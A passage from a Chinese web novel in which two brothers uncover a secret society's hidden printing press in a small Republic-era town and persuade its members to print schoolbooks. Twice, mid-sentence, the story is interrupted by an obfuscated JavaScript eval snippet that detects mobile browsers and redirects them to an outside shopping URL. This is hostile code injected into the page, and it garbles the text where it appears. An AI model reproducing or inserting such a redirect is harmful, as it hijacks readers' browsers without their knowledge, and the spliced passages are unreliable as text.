“前日一个过路的书生留下的。”赵秀才搓着手，“说是从省城来，要去北边投亲，路上盘缠不够，想用书换几个钱。我看他衣衫单薄，就……就收下了。” 他顿了顿，声音更低了：“可昨晚我翻看，越看越觉得……这些书，不是寻常读物。里头有些话，太大胆了。要是让官府的人看见……” 张静轩明白赵秀才的担心。这些书若在省城，或许不算什么，但在青石镇，一旦被发现，轻则没收罚款，重则可能牵连书院。 他仔细翻看着。文章写得激扬，字里行间透着年轻人特有的热血。但更让他在意的，是书页间的一些批注——用铅笔写的，字迹潦草，但观点尖锐。有一处批道：“空谈无益，须落地生根。”另一处写：“乡村不醒，城市独醒何用？” 这些批注，不像普通读者随手写的。倒像是……写书人自己的思考？ “那书生长什么样？”张静轩问。 “三四十出头，瘦高个，穿着半旧的学生装，说话带点江浙口音。”赵秀才回忆道，“对了，他左眉上有颗痣，不大，但显眼。” 左眉有痣。张静轩记下了。 “这些书，我先带走。”他说，“放在这儿，确实不安全。” 赵秀才如释重负：“好好好，你带走最好。不过……”他犹豫了一下，“静轩，这些书里的道理，有些……有些说得在理。比如这劳工神圣，咱们青石镇的船工、铁匠，哪个不是靠双手吃饭？凭什么就低人一等？” 这话从赵秀才嘴里说出来，让张静轩有些意外。这位前清秀才，一向最重“士农工商”的次序。 “赵先生也认同这些观点？” 赵秀才叹口气，摘下眼镜擦拭：“我年轻时，也想过科举入仕，光宗耀祖。可考了三次，连个举人都没中。后来想想，读书是为了什么？若是只为功名，那读再多书，也不过是个精致的利己者。” 他重新戴上眼镜，眼神有些恍惚：“这些年，我在书院，看着来来往往的人。有真心求知的，有附庸风雅的，也有……像那个书生一样，怀着一腔热血的。我渐渐觉得，书里的道理，不在纸上，在人心。人心若正，读什么书都是正理；人心若歪，圣贤书也能读歪了。” 这番话，让张静轩对这位老秀才刮目相看。原来在那些古板守旧的外表下，赵秀才心里也有过挣扎，有过思考。 “那这几本书……” “你看着办。”赵秀才摆摆手，“若是觉得有用，就留下；若是觉得危险，就……处理掉。” 张静轩点头。他把书收进带来的布包里，又在书架上挑了几本蒙学读物——是给学堂孩子们准备的。临走时，他把食盒递给赵秀才：“一点心意，您留着吃。” 赵秀才接过，眼眶有些红：“静轩，办学堂是好事，但……千万小心。这世道，好人难做，好事难为。” 从书院出来，已近晌午。阳光很好，驱散了连日的阴霾。张静轩提着布包往家走，心里却沉甸甸的。那几本书像几块火炭，在包里烫着他的手。 路过镇公所时，他看见赵明德从里面出来，正和一个穿长衫的中年人说话。那人背对着街，看不清脸，但身形有些熟悉。张静轩放慢脚步，假装系鞋带，侧耳听着。 “……放心，都安排好了。”赵明德的声音压得很低，“就这几天的事。” “那边怎么说？”中年人问，声音沙哑。 “一切照旧。”赵明德顿了顿，“不过，最近风声紧，你们动作要快。” “明白。” 两人又说了几句，中年人转身离开。就在他转身的瞬间，张静轩看清了他的侧脸——方脸，浓眉，嘴角有颗痣。 左眉有痣。 张静轩心头一震。这不就是赵秀才描述的那个书生？可看这人的年纪，怕有四十了，而且气质沉稳，不像热血青年。难道是……同一个人？还是巧合？ 他来不及细想，那人已匆匆走远。赵明德也转身回了镇公所。张静轩站在原地，脑子里飞快地转着。 书生的书，出现在书院；疑似书生的人，与赵明德密谈。这两件事，有没有关联？ 他加快脚步往家走。得把这事告诉大哥。 回到家，张静远正在院子里练箭。虽然腿脚不便，但他拉弓的姿势依然稳健。弓是那把牛角弓，弦绷得紧，箭离弦时带着破风声，稳稳钉在三十步外的草靶上。 见张静轩回来，他放下弓：“去哪儿了？” “书院。”张静轩把布包放在石桌上，把事情说了。 张静远拿起那本《新潮》，快速翻看着。当看到那些批注时，他眼神一凝：“这字迹……我见过。” “见过？” “前线的时候，有些宣传材料上，有类似的批注。”张静远合上书，“不是一个人写的，但风格像。应该是某个团体的内部交流方式。” “团体？” “嗯。”张静远在石凳上坐下，“这些年，各种团体很多。有的主张实业救国，有的主张教育救国，还有的……主张更激进的方式。这些书，可能是某个团体散播的。” 他顿了顿：“如果那个书生真是团体成员，他来青石镇，就不是偶然。” “那他和赵明德……” “可能是一伙的，也可能……赵明德被利用了。”张静远分析道，“赵明德这种人，失势后急于找靠山，容易被拉拢。” 正说着，福伯匆匆进来：“大少爷，小少爷，码头那边出事了。” “什么事？” “周大栓让人捎信来，说那条怪船又来了，这次……卸了货。” 兄弟俩对视一眼，立刻起身往码头赶。路上，福伯简单说了情况——晌午时分，那条小舢板又出现在码头，没靠岸，停在离岸十几丈的水面。船上下来两个人，划着小筏子靠岸，卸下几个木箱，又匆匆走了。整个过程不到一刻钟。 “箱子里是什么？”张静远问。 “不知道。箱子被赵明德派来的人接走了，直接运去了镇公所仓库。”福伯说，“周大栓想凑近看，被拦住了。那些人很凶，还亮了家伙。” 镇公所仓库在镇东头，是早年存放税粮的地方，后来闲置了。赵明德调任闲职后，主动要求管理仓库，说是“发挥余热”。当时没人多想，现在看来，怕是早有图谋。 到码头时，周大栓正蹲在岸边抽烟，脸色铁青。看见张家兄弟，他站起身：“大少爷，小少爷，这事不对劲。” “怎么说？” “那些箱子，”周大栓压低声音，“搬的时候，我听见里头有响声——不是重物的闷响，是……金属碰撞的声音。” 金属？张静远眉头紧锁：“枪？” “不像。”周大栓摇头，“枪声我听过，不是那样。倒像是……工具？或者零件？” 正说着，李铁匠也赶来了。这位铁匠师傅今日没开工，听说码头出事，拎着把锤子就来了。听了周大栓的描述，他想了想：“金属碰撞声……如果是工具，不该这么轻脆；如果是零件，那得是小零件。” 他忽然想到什么：“会不会是……印刷用的铅字？” 这话点醒了张静轩。他猛地想起那些书——印刷粗糙，纸张劣质，显然是私印的。如果青石镇有个秘密印刷点…… “李叔说得对。”张静轩说，“那些书，可能就是在这儿印的。” 张静远沉吟片刻：“如果真是印刷设备，那赵明德……恐怕不只是捞油水那么简单。他在帮人散播这些东西。” “那咱们怎么办？”周大栓问，“报官？” “报官没用。”张静远摇头，“镇上的老刘，管不了这事。而且，赵明德敢这么明目张胆，肯定上头有人。” 他顿了顿：“先盯着。看看那些箱子，最终去哪儿。如果是印刷设备，总得安装，总得用。只要他们动，咱们就能找到地方。” 李铁匠点头：“成，我让徒弟们留意。镇上就那几个能装机器的地方，好找。” 事情安排下去，兄弟俩往回走。路上，张静轩忽然问：“大哥，如果那些真是印刷设备，印的是这些书……咱们该阻止吗？” 张静远本就就得慢，最后选择停下脚步，看着弟弟：“你觉得呢？” 张静轩沉默。按常理，私印禁书是违法的，该阻止。可那些书里的道理，有些确实说得对。劳工不该被轻视，妇女该有受教育的机会，科学才能救国……这些，不也是学堂在教的吗？ “我不知道。”他最终说，“那些书里的道理，我觉得对。可方式……” “方式很重要。”张静远接话，“激进的方式，容易招来镇压，反而坏事。你看历史上的变法，戊戌年那么急，结果呢？” 他拍拍弟弟的肩：“静轩，这世上的事，不是非黑即白。有些人想改变，但太急；有些人想维持，但太固。咱们要做的，是找到中间那条路——既变，又稳。” 这话让张静轩想起父亲说过的“守静笃，观复明”。守静不是不动，观复不是盲从。要在变动中看清方向，在坚守中寻求改变。 回到家，张静轩把自己关在书房里，重新翻开那几本书。这一次，他不再只看内容，而是仔细研究那些批注。 批注很散乱，但有些词反复出现：“组织”“同志”“行动”。在《劳工神圣》那篇的末尾，有一行小字：“青云会第三次会议，腊月初八，老地方。” 青云会？张静轩记下了这个名字。腊月初八——那不就是十天后？ 他把这个发现告诉大哥。张静远眉头紧皱：“青云会……我好像听过。前线有些宣传材料，落款就是这个。” “那他们……” “可能是个秘密团体。”张静远说，“如果他们在青石镇活动，那赵明德接的那些设备，很可能就是为他们准备的。” “那腊月初八的会议……” “得弄清楚。”张静远说，“但不能打草惊蛇。先看看赵明德下一步动作。” 接下来几天，青石镇表面平静，暗地里却暗流涌动。李铁匠的徒弟们发现，镇公所仓库夜里常有动静，像是搬运东西。周大栓的船工兄弟则看见，有生面孔在镇西砖窑附近转悠。 张静轩照常去学堂上课，但心思总不免分神。苏宛音察觉到了，课后问他：“静轩，这几天有心事？” 张静轩犹豫了一下，还是把印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140666|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刷设备和青云会的事说了。苏宛音听完，沉默良久。 “那些书，”她轻声说，“我也看过类似的。” 张静轩一愣：“苏先生也……” “在省城时，同学间传阅过。”苏宛音说，“有些道理，确实说得对。但方式……我父亲当年，就是太急了。” 她走到窗边，看着院子里玩耍的孩子们：“改变需要时间，需要耐心。像种树，不能拔苗助长。这些年我越来越觉得，教育才是根本——一个一个地教，一代一代地育。虽然慢，但扎实。” “那青云会那些人……” “他们或许有自己的理由。”苏宛音转过身，“但静轩，你要记住，咱们办学堂，不是为了反对谁，是为了建设——建设这些孩子的未来，建设青石镇的明天。这个立场，不能变。” 张静轩点头。他明白了苏宛音的意思——无论外界如何变化，学堂的初心不能改。教书育人，启智明理，这是根本。 腊月初七，变故发生了。 那日傍晚，张静轩从学堂回家，路过镇公所时，看见仓库门口停着一辆马车。赵明德正指挥着几个人往车上搬箱子——正是那天从码头接来的木箱。 他悄悄躲到巷口观察。箱子一共五个，都不大，但看起来很沉。搬箱子的人很小心，生怕磕碰。马车装好后，赵明德四下看了看，跳上车，往镇西方向去了。 镇西？砖窑？ 张静轩立刻转身，抄近路往家跑。他要告诉大哥。 到家时，张静远正在收拾弓箭。“大哥，赵明德把箱子运走了，往镇西方向。”张静轩气喘吁吁地说。 张静远眼神一凝：“果然。”他背上弓，“我去看看。你在家等着。” “我跟你去。” “不行，太危险。”张静远按住弟弟的肩膀，“如果真有秘密团体，他们可能带武器。你留在家，万一我回不来，还有你守着学堂。” 这话说得很重。张静轩想争辩，但看到大哥的眼神，知道争也没用。他只能点头：“那你小心。” 张静远披上深色外衣，拄着拐杖出门了。他的背影在暮色里，像一柄即将出鞘的刀。 张静轩在书房里坐立难安。时间一分一秒地过去，天色完全黑透，大哥还没回来。福伯来催了几次吃饭，他都说不饿。 直到戌时末，门外终于传来脚步声。张静轩冲出去，看见大哥推门进来，身上沾着泥土，但神色平静。 “怎么样？” “箱子运到砖窑了。”张静远坐下，喝了口水，“我躲在窑顶看的，他们打开了地下仓库。” “真是印刷设备？” “是。”张静远点头，“铅字、油墨、简易印刷机，都有了。还有……一些没印的书稿。” 他从怀里掏出几页纸，递给张静轩。那是手稿，字迹潦草，但内容触目惊心——不只是《新潮》里的文章，还有更激进的东西，直接抨击时政，呼吁“彻底变革”。 “青云会，看来不是普通的读书会。”张静远沉声道，“他们想做的，比我们想的更大。” 张静轩翻看着手稿，越看心越沉。这些言论，若真散播出去，青石镇必将引来大祸。 “那明晚的会议……” “我听见他们说了，明晚子时，在砖窑地下仓库开会。”张静远说，“赵明德会参加，还有……那个左眉有痣的中年人，是他们的头儿。” “咱们怎么办？报官？” 张静远沉默。良久，他缓缓道：“报官，这些人都会被抓，可能掉脑袋。可他们……不一定是坏人。” “但他们做的事……” “我知道。”张静远打断他，“所以我在想，有没有第三条路。” 他站起身，放下来拿拐杖的手，选择慢慢的在屋里踱步着：“这些人的初衷，或许也是救国。只是方式错了。如果能让他们明白，在青石镇，有另一种方式——办学堂，启民智，一点一点地改变……也许，他们愿意换条路走。” 张静轩明白了大哥的意思：“你想……劝他们？” “对。”张静远停下脚步，“明晚，我去会会他们。” “太危险了！”张静轩脱口而出，“他们若真是激进团体，不会听劝的。” “危险也得去。”张静远说，“如果让他们在青石镇闹出事，整个镇子都会受牵连。学堂，孩子们，街坊们……都会遭殃。” 他看着弟弟：“静轩，有些事，总得有人做。我在前线打仗是这样，现在也是这样。” 张静轩无话可说。他知道大哥说得对。有些担子，一旦扛上，就不能轻易放下。 “那我跟你去。” “不行。” “我可以在外围接应。”张静轩坚持，“而且，如果他们真是读书人，我去，或许更好说话——我也是学生，也在办学，他们的理想，我能懂一些。” 张静远看着弟弟坚定的眼神，最终叹了口气：“好。但你得答应我，只在窑外等着，一旦有变，立刻走。” “我答应。” 兄弟俩计划到深夜。福伯知道了，也要跟去，被张静远严词拒绝：“福伯，您在家守着。万一我们回不来，您得照顾爹娘，还有学堂。” 福伯老泪纵横，但终究点了头。 那一夜，张静轩躺在床上，辗转难眠。窗外月色清冷，照着这个不平静的冬夜。他想起很多事——学堂里孩子们的读书声，街坊们凑钱时粗糙的手，苏宛音在黑板上写字的背影，大哥在塔上说的那些话。 还有那些书，那些批注，那些呼唤变革的声音。 这世道，到底该往哪儿走？他不知道。 但他知道，明晚之后，青石镇的命运，或许会改变。 25. 第二十六章 砖窑夜会 腊月初八，夜。 月亮被浓云遮蔽，青石镇笼罩在一片沉黑里。风从青云河上刮来，带着刺骨的寒意，吹得砖窑四周的枯草簌簌作响。 张静轩跟在张静远身后，两人都穿着深色棉袍，踩着荒草间隐约的小径，往砖窑深处走去。张静远拄着拐杖，但脚步很稳，显然早已熟悉了这路径。张静轩提着一盏蒙了黑布的灯笼，微弱的光只能照见脚下三尺。 “记住，”张静远压低声音，“无论发生什么，保命第一。一旦我示意，你就往东边跑，那里有个废井，能藏身。” 张静轩点头，手心全是汗。他怀里揣着那本《新潮》，还有几页从手稿上撕下的纸——那是他们准备的说辞。大哥的意思是，先讲理，再谈条件。如果对方真是为了救国，或许能听懂。 砖窑的轮廓在夜色里像巨大的坟冢。第三座窑的入口处，隐约有微光透出——地下仓库的入口就在窑内。张静远停下脚步，侧耳听了听。里头有说话声，很低，但能听出不止一个人。 “到了。”他深吸一口气，推开虚掩的窑门。 窑内比想象中宽敞。废弃的砖窑内部呈穹顶状，墙壁被烟熏得漆黑。正中摆着一张破木桌，桌上点着两盏油灯。围着桌子坐了五个人——赵明德坐在下首，神色紧张；一个左眉有痣的中年人坐在主位，面容沉静；另外三个都是年轻人，穿着半旧的学生装，眼神里透着警惕。 见有人进来，所有人都站起身。那三个年轻人手摸向腰间——那里鼓囊囊的，显然是武器。 “别紧张。”张静远开口，声音平静，“我是张静远，青石镇人。这位是我弟弟，张静轩。” 左眉有痣的中年人打量着他们，目光在张静远腿上的伤和手里的拐杖上停留片刻：“张静远……前线回来的？” “是。” “听说过。”中年人点点头，“在徐州打过阻击战，负了伤。是个汉子。” 他挥手示意那三个年轻人退后，自己拉开两把椅子：“坐。深夜来访，有何贵干？” 张静远不客气地坐下。张静轩挨着他坐，把灯笼放在脚边。油灯的光在众人脸上跳动，映出一张张神色各异的脸。 “先问个问题，”张静远直视中年人，“诸位深夜在此，所为何事？” 中年人笑了，那笑容里有种读书人特有的矜持：“读书人聚会，谈文论道，不可以吗？” “谈文论道，需要印刷设备？”张静远指了指窑角——那里堆着打开的箱子，铅字、油墨、印刷机零件散落一地，“还需要武装护卫？” 气氛骤然紧张。那三个年轻人又把手按在腰间。赵明德脸色煞白，想说什么，被中年人一个眼神制止了。 “张先生好眼力。”中年人收起笑容，“既然看出来了，我也不瞒着。我们是‘青云会’，一群想为国家做点事的人。” “做什么事？”张静轩忍不住问。 中年人看了他一眼，眼神温和了些：“小兄弟，你也在办学堂，应该明白——这世道病了，得治。我们想做的，就是开药方。” “什么样的药方？”张静远追问。 “唤醒民众的药方。”中年人从桌上拿起一沓稿纸，“这些文章，讲的是劳工的权益，妇女的解放，科学的重要。我们印出来，散出去，让更多人看到、想到、觉醒过来。” 张静轩看着他手中的稿纸。那些字句，他在《新潮》里读过，热血，激昂，像火。 “然后呢？”张静远问，“民众觉醒了，然后呢？” “然后……”中年人顿了顿，“然后他们就会要求改变，要求一个更公平的世道。” “怎么改变？”张静远的声音依然平静，“靠几篇文章，就能改变？” “文章是火种。”中年人眼中有了光，“火种多了，就能燎原。” 张静远摇头：“火种若落在干柴上，确实能燎原。但若落在湿柴上，只会冒烟，呛人，最后熄灭。”他顿了顿，“青石镇现在的民众，不是干柴。他们刚有口饭吃，孩子刚能上学，你让他们去‘燎原’，他们敢吗？愿意吗？” 这话说得很直接。中年人沉默了。那三个年轻人中，一个戴眼镜的忍不住开口：“难道就因为不敢，就不做了？总要有人先站出来！” “站出来，然后呢？”张静远看向他，“被官府抓，被镇压，然后青石镇多几个寡妇，多几个孤儿？这就是你们要的改变？” 眼镜青年噎住了。另一个方脸青年拍案而起：“那按你说，该怎么办？坐着等？等这世道自己变好？” “不是等，是做。”张静远从张静轩手里拿过那本《新潮》，放在桌上，“但做法不一样。你们在印书，我们在办学。你们想唤醒所有人，我们想先教会孩子。你们要的是烈火燎原，我们要的是细水长流。” 他翻开书，指着那些批注：“这些道理，都对。劳工该被尊重，妇女该有权利，科学该被重视。但怎么实现？靠喊口号？还是靠一点一滴地做？” 中年人拿起书，翻看着。油灯的光照在他脸上，那张原本坚定的脸，此刻有了些许动摇。 “张先生，”他缓缓开口，“你说得有理。但时间不等人。外有强敌，内有腐弊，再慢慢来，来得及吗？” “前线打仗时，我见过太多急功近利的事。”张静远说，“为了夺一个阵地，不顾伤亡强攻，最后阵地拿下了，人也打光了。有什么用？真正的胜利，不是一时一地之得失，是持久地、扎实地，一步步推进。” 他顿了顿，声音更沉：“救国也是。不能只图快，要图实。青石镇这所学堂，现在有二十八个孩子。二十八个，不多。但他们学会了识字，学会了算账，学会了写信。将来，他们或许能让家里过得更好，或许能教自己的孩子读书。一代一代，慢慢改变。这才是扎得住的根。” 窑内一片寂静。只有油灯燃烧的噼啪声，和窑外呼啸的风声。 中年人久久不语。他摩挲着那本《新潮》，眼神复杂。许久，他抬起头：“张先生，你们办学堂，遇到不少阻挠吧？” “是。”张静远点头，“泼粪的，扔石头的，卡拨款的，都有。” “那为什么还要坚持？” “因为值得。”张静轩忽然开口。所有人的目光都转向他。这个一直沉默的少年，此刻眼神清亮：“学堂里的孩子，水生的爹是船工，小莲的爹在省城做工，铁蛋的爹是铁匠……他们来上学，不是想当官发财，是想识几个字，明几个理，将来活得有尊严。就为这个，就值得。” 他顿了顿，声音有些发颤：“我大哥在前线打仗，也是为了这个——让像青石镇这样的地方，能安安稳稳地过日子，让孩子能安安稳稳地读书。” 这番话说完，窑内更静了。那三个年轻人相互看看，眼神里的敌意淡了些。赵明德低着头，不知在想什么。 中年人长长吐出一口气。他站起身，在窑内踱步。昏黄的光把他的影子投在漆黑的墙壁上，拉得很长。 “张先生，张小弟，”他终于开口，“你们说的，我都听进去了。说实话，我们来青石镇，不是偶然。听说这里有人办学堂，有新气象，我们想看看，能不能在这里……播点火种。” 他走回桌边，坐下：“但现在看来，你们播的，是另一种火种——更温和，更扎实，但也更难。” “难，但值得。”张静远说。 中年人点头。他看向那三个年轻人：“你们觉得呢？” 眼镜青年推了推眼镜：“老师，我觉得……他们说得有道理。咱们印的那些东西，在省城或许有人看，但在青石镇这样的地方，老百姓看不懂，也不敢看。” 方脸青年也点头：“而且……真要闹起来，最先遭殃的是老百姓。咱们不能为了理想，让他们担风险。” 第三个一直沉默的圆脸青年开口：“那咱们……不干了？” “不是不干。”中年人摇头，“是换个方式干。”他看向张静远，“张先生，如果我们愿意把印刷设备留下，帮你们印教材，印识字课本，印那些实实在在能帮到孩子的东西……你们愿意合作吗？” 这话出乎所有人意料。张静远和张静轩对视一眼，都从对方眼中看到了惊讶。 “为什么？”张静远问。 “因为你们在做实事。”中年人笑了，那笑容里有了释然，“这些年，我见过太多人空谈理想，却不肯弯腰做小事。你们不一样——学堂办了，孩子教了，街坊的心聚了。这才是真正的根基。” 他顿了顿：“救国不是一朝一夕的事。或许，从教一个孩子识字开始，比印一百本激进的册子，更有用。” 张静轩感到眼眶发热。他没想到，这场原本可能剑拔弩张的会面，会以这样的方式收场。 “那你们的组织……”张静远问。 “青云会不会散。”中年人摇头，“但我们会调整方向。以后，不只印激进的文字，也印有用的知识。不只在大城市活动，也到乡下看看，看看真正的中华民国是什么样。” 他看向那三个年轻人：“你们愿意吗？” 三人对视，最终齐齐点头。 事情就这样定了。青云会留下印刷设备，帮学堂印制教材；作为交换，学堂允许他们定期聚会，但必须保证不在青石镇煽动激进活动。赵明德被要求退出——这个见风使舵的小吏，不适合参与这样的事。 “赵干事，”张静远看向一直缩在角落的赵明德，“今天的事，你就当没看见。印刷设备我们会处理，你该干什么还干什么。但记住——若再动歪心思，新账旧账一起算。” 赵明德连连点头，冷汗直流。 离开砖窑时，已是子夜。云散了，月亮露出来，清清冷冷地照着荒凉的窑场。张静轩提着灯笼，跟在张静远身后。风依然冷，但心里却暖烘烘的。 “大哥，”他轻声说，“真没想到……” “没想到他们会转变？”张静远笑了，“其实，真正想做实事的人，都愿意听道理。他们只是之前没找到对的路。” “那以后……咱们真和他们合作？” “为什么不？”张静远停下脚步，看着弟弟，“多一个朋友，总比多一个敌人好。而且，他们有印刷设备，有热情，只是缺方向。咱们给他们方向，他们给咱们助力，双赢。” 张静轩点头。他看着大哥在月光下的侧脸，忽然觉得，这个从战场归来的兄长，比他想象中更有智慧——不是兵法的智慧，是处世的智慧，是看人的智慧。 “对了，”张静远想起什么，“那个中年人，叫陈启明。他留了个地址，说如果需要帮忙，可以找他。” 陈启明。张静轩记下了这个名字。 回到家，福伯还在等。见两人平安归来，老人家松了口气，忙去热姜汤。张静轩喝着热腾腾的姜汤，感觉冻僵的身子慢慢暖和过来。 “福伯，”张静远说，“明天一早，您去找几个可靠的伙计，把砖窑里的印刷设备搬出来。找个安全的地方——就……就放在学堂的后厢房吧。那里平时没人去。” 福伯一愣：“放在学堂？会不会……” “最危险的地方，就是最安全的地方。”张静远说，“而且，放在学堂，用起来方便。以后印教材，孩子们也能看到——让他们知道，知识是怎么来的。” 张静轩眼睛一亮。这个主意好。让印刷设备放在学堂，既是实用，也是象征——知识的生产，就该在传播知识的地方。 那一夜，张静轩睡得很沉。梦里，他看见印刷机在学堂里转动，一张张印着字的纸飞出来，落在孩子们手里。孩子们捧着纸，大声朗读，声音清亮，穿过青石镇的街巷，传得很远很远。 腊月初九，清晨。 张静轩醒来时，天已大亮。阳光很好，照在窗棂上，投下斑驳的光影。他推开窗，看见福伯正指挥着几个伙计往马车上搬东西——用油布包得严严实实的，是那些印刷设备。 街坊们好奇地看着，但没人多问。在青石镇，张家办事，总有道理。 张静轩洗漱完，去书房找大哥。张静远正在写信，见弟弟进来，放下笔：“醒了？正好，有件事要你去办。” “什么事？” “去学堂，告诉苏先生和程先生印刷设备的事。”张静远说，“也问问他们，有什么教材需要印。第一批，我想印识字课本和算术口诀——要印得清楚，印得结实，能反复用。” 张静轩点头。他想了想，又问：“那青云会那些人……” “陈启明今天会来。”张静远说，“他说要看看学堂，也见见两位先生。你准备一下，中午在家里吃顿饭。” 这又是意外之喜。张静轩忙应下，匆匆往学堂去。 清晨的学堂，正是一天中最有生机的时候。孩子们陆续到了，在院子里晨读。苏宛音在擦黑板，程秋实在批 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140667|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 改作业。见张静轩来，都停下手中的事。 张静轩把事情说了。苏宛音和程秋实听完，都愣住了。 “青云会……我听说过。”程秋实推了推眼镜，“在省城时，有些同学参加过他们的读书会。没想到，他们会来青石镇。” “更没想到，他们会转变。”苏宛音轻声说，“张先生说得对，真正想做实事的人，都愿意听道理。” “那印刷设备……”张静轩问。 “好事。”苏宛音眼睛亮了，“咱们一直想印些适合乡下孩子的教材，但没条件。现在有了设备，能做的事就多了。” 她走到书柜前，抽出一沓手稿：“这是我整理的《女子识字课本》，针对女孩子的特点，从家务、女红讲起，慢慢引到识字算数。一直想印，但没机会。” 程秋实也拿出几页纸：“我编了《实用算术》，结合青石镇的实际——量米、算账、计工，都是孩子们用得上的。” 张静轩看着这些手稿，心里涌起一股热流。原来两位先生，早已做了这么多准备。他们缺的，只是一个机会。 现在，机会来了。 中午，陈启明如约而至。他没带那三个年轻人，独自一人，穿着朴素的灰色长衫，像个普通的教书先生。张老太爷在正厅接待了他，张静远作陪，张静轩在一旁斟茶。 谈话很融洽。陈启明看了学堂，看了孩子们，看了苏宛音和程秋实准备的教材手稿。他沉默了很久，最后说：“我来之前，还存着几分疑虑。现在没了。你们做的，才是真正的根基。” 饭桌上，他讲了自己的经历——早年留学日本，学的是印刷技术。回国后，一心想着用印刷唤醒民众，但屡屡碰壁。印的东西没人看，看了也不懂，懂了也不敢行动。渐渐觉得迷茫，直到遇见张静远兄弟。 “张先生那句‘火种落在湿柴上’，点醒了我。”陈启明感慨，“我总想着点大火，却忘了，柴要先晾干。” 张老太爷点头：“陈先生能这么想，是青石镇之福。” “是青石镇给了我启发。”陈启明举杯，“这一杯，敬学堂，敬孩子，敬这实实在在的希望。” 饭后，陈启明去看印刷设备。设备已经安置在学堂后厢房，虽然简陋，但齐全。他熟练地检查了一遍，点点头：“能用。铅字不全，但常用的都有。油墨不够，我让省城的同志寄些来。” “同志？”张静轩好奇。 陈启明笑了：“志同道合的人，就是同志。”他顿了顿，“以后，青石镇需要什么教材，尽管说。我们印，免费。” 这话掷地有声。张静远拱手：“那先谢过了。” “该我谢你们。”陈启明看着窗外的学堂院子，那里，孩子们正在午休，嬉笑声阵阵，“你们让我看到了，救国还有另一条路——更慢，但更稳的路。” 事情就这样定了下来。青云会与青石镇学堂的合作，悄无声息地开始。印刷机在深夜转动，印出的第一本教材，是苏宛音的《女子识字课本》。封面上，印着一行小字：“青石镇新式学堂印制”。 腊月十五，第一批教材发到孩子们手中。小莲捧着那本专为女子编的课本，眼睛亮得像星星。她翻到第一课，轻声念：“女，女子。手，巧手。识字明理，持家有方。” 水生拿到的是《实用算术》，翻开就是码头计工的例题。他兴奋地说：“这个好！俺爹就能用上！” 铁蛋的则是《工匠入门》，讲的是铁匠、木匠的基本知识。他摸着封面上的工具图案，咧嘴笑了。 看着孩子们如获至宝的神情，张静轩觉得，这一个月的奔波、担忧、冒险，都值了。 腊月二十，年关近了。青石镇开始准备年货，空气中飘着腊肉和糕点的香气。学堂放了年假，但印刷机没停——陈启明带着那三个年轻人，又印了一批《新春识字画》，上面有年画，有吉祥话，还有简单的识字内容。准备过年时，免费发给镇上的百姓。 张静轩帮忙装订。油墨的味道混着纸张的清香，让他感到一种实实在在的充实。陈启明一边操作印刷机，一边说：“静轩，你知道印刷术最早是干什么用的吗？” “印佛经？” “对。”陈启明点头，“传播信仰。现在，咱们印的也是‘信仰’——信知识能改变命运，信努力能有出路，信这世道会慢慢变好。” 他拍了拍印刷机：“这台机器，以前印的是口号。现在，印的是希望。一样是印刷，但印的东西不一样，意义就不一样。” 张静轩重重点头。他明白了——工具没有善恶，看人怎么用。刀能杀人，也能切菜；印刷机能印激进传单，也能印识字课本。 关键在人心。 腊月二十三，小年。青石镇下了入冬以来第一场雪。雪花纷纷扬扬，把青石镇的屋瓦染成一片洁白。学堂的院子里，孩子们在打雪仗，笑声在雪中传得很远。 张静轩站在廊下看着。苏宛音走过来，递给他一杯热茶：“想什么呢？” “想这一年。”张静轩接过茶，暖着手，“发生了太多事。” “是啊。”苏宛音也看着雪中嬉戏的孩子们，“但好在，学堂还在，孩子还在，希望还在。” 两人沉默了一会儿。雪越下越大，天地间白茫茫一片，纯净得像张崭新的纸。 “苏先生，”张静轩忽然问，“您说，明年会更好吗？” 苏宛音笑了，那笑容在雪光里格外温暖：“只要咱们还在做该做的事，就会。” 她顿了顿：“就像这雪，看着冷，但底下，种子在睡，在等春天。等到开春，雪化了，种子就会发芽，长大。” 张静轩点头。他看着学堂的屋檐——那里，挂着一排冰凌，晶莹剔透，在雪光里闪着微光。 他深吸一口气，冷冽的空气灌入肺腑，清醒而坚定。 明年，还有很多事要做。 学堂要办得更好，教材要印得更多，孩子们要教得更扎实。 还有——大哥的腿要养好，爹娘的身体要顾好，街坊们的日子要过好。 一件一件，慢慢来。 就像这雪，一片一片，积起来，就能覆盖山河。 然后，等春天来。 雪还在下。 青石镇静默在雪中，像一幅淡墨画。 画里，有屋舍，有街巷，有学堂，有老槐树。 还有，无数个等待春天的人。 26. 第二十七章 雪中痕 腊月二十四，雪停了。 青石镇裹在一层素白里，屋瓦、街巷、老槐树的枝桠，都覆着厚厚的雪。晨光熹微时，镇上已有了人声——扫雪声、开门声、孩童的嬉闹声，混成一片生机勃勃的喧响。 张静轩起得早，披了棉袍站在院中。雪后的空气清冽如刀，吸一口，凉意直透肺腑。他看见福伯正带着两个伙计清扫门前的雪，铁锨铲在青石板上，发出嚓嚓的脆响。 “小少爷早。”福伯直起身，呵出一团白气，“今儿雪厚，去学堂得绕道了——河堤那段路，怕是不好走。” 张静轩点头：“我走镇里主街。” 正说着，张静远拄着拐杖从屋里出来。他的腿伤好了些，已能不用搀扶慢慢行走，但伤处仍裹着厚厚的棉布。见弟弟在院中，他笑了笑：“起得倒早。” “大哥，今日感觉如何？” “好多了。”张静远试着走了几步，“再过半月，该能扔了这拐杖。”他望向学堂方向，“今日还去？” 